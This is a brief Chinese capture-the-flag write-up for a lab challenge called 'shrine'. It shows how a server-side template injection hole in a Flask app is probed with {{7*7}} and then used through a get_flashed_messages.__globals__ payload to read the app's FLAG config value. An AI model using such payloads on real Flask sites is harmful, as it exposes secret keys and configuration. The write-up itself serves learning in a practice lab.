打开实验环境：
根据提示：shrine 可能存在Flash框架，SSTI模板注入漏洞
使用独特语法探测漏洞： http://220.249.52.133:41635/shrine/{{7*7}}
http://220.249.52.133:41635/shrine/hello{{7*8}}
看到用户的输入被当做代码执行了；
构造pyload：http://220.249.52.133:41635/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Flash模板注入格式：{{1+2}} //特定情况下可以当做代码执行
get_flashed_messages //字面意思，获取内容，就是取值，后面跟的就是要取得值
current_app //设计模式中代理设计的代理对象，指向flask核心对象和reques的请求类
详细解释： Flash核心机制：current_app、flash框架（六）、SSTI模板注入